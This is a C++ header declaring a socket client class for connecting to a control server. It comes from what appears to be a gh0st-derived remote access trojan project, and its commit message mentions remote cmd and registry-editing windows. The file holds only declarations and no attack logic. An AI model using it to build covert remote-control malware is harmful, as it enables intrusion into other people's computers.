681ab9bd82
1、还原客户端的文件管理模块代码为gh0st的源码3.6版本. 2、修复上述"cmd窗口总是将输入命令输出2次"的遗留问题。 3、打开注册表关闭后崩溃，参照按对文件管理窗口的修改进行处理。遗留问题：并无内存泄漏，但退出时报"HEAP: Free Heap modified after it was freed"问题。
67 lines
1.6 KiB
C++
67 lines
1.6 KiB
C++
// IOCPClient.h: interface for the IOCPClient class.
|
|
//
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
#if !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)
|
|
#define AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_
|
|
|
|
#if _MSC_VER > 1000
|
|
#pragma once
|
|
#endif // _MSC_VER > 1000
|
|
|
|
#include <WinSock2.h>
|
|
#include <Windows.h>
|
|
#include <MSTcpIP.h>
|
|
#include "Buffer.h"
|
|
#include "Manager.h"
|
|
|
|
#pragma comment(lib,"ws2_32.lib")
|
|
|
|
#define MAX_RECV_BUFFER 1024*8
|
|
#define MAX_SEND_BUFFER 1024*8
|
|
#define FLAG_LENGTH 5
|
|
#define HDR_LENGTH 13
|
|
|
|
enum { S_STOP = 0, S_RUN, S_END };
|
|
|
|
class IOCPClient
|
|
{
|
|
public:
|
|
IOCPClient(bool exit_while_disconnect = false);
|
|
virtual ~IOCPClient();
|
|
SOCKET m_sClientSocket;
|
|
|
|
BOOL m_bWorkThread;
|
|
HANDLE m_hWorkThread;
|
|
|
|
BOOL ConnectServer(char* szServerIP, unsigned short uPort);
|
|
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
|
|
|
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
|
|
int OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
|
|
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
|
|
|
|
BOOL IsRunning() const
|
|
{
|
|
return m_bIsRunning;
|
|
}
|
|
|
|
BOOL m_bIsRunning;
|
|
BOOL m_bConnected;
|
|
|
|
char m_szPacketFlag[FLAG_LENGTH];
|
|
|
|
VOID setManagerCallBack(class CManager* Manager);
|
|
|
|
VOID Disconnect();
|
|
VOID RunEventLoop(const BOOL &bCondition);
|
|
bool IsConnected() const { return m_bConnected; }
|
|
|
|
public:
|
|
class CManager* m_Manager;
|
|
CRITICAL_SECTION m_cs;
|
|
bool m_exit_while_disconnect;
|
|
};
|
|
|
|
#endif // !defined(AFX_IOCPCLIENT_H__C96F42A4_1868_48DF_842F_BF831653E8F9__INCLUDED_)
|